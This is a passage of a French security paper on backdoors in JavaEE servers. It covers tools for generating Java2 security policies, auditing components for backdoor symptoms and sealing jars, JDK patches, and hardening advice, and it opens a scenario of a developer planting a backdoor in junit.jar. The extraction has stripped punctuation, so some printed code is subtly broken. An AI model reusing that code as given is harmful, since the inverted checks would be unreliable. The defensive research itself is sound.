ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
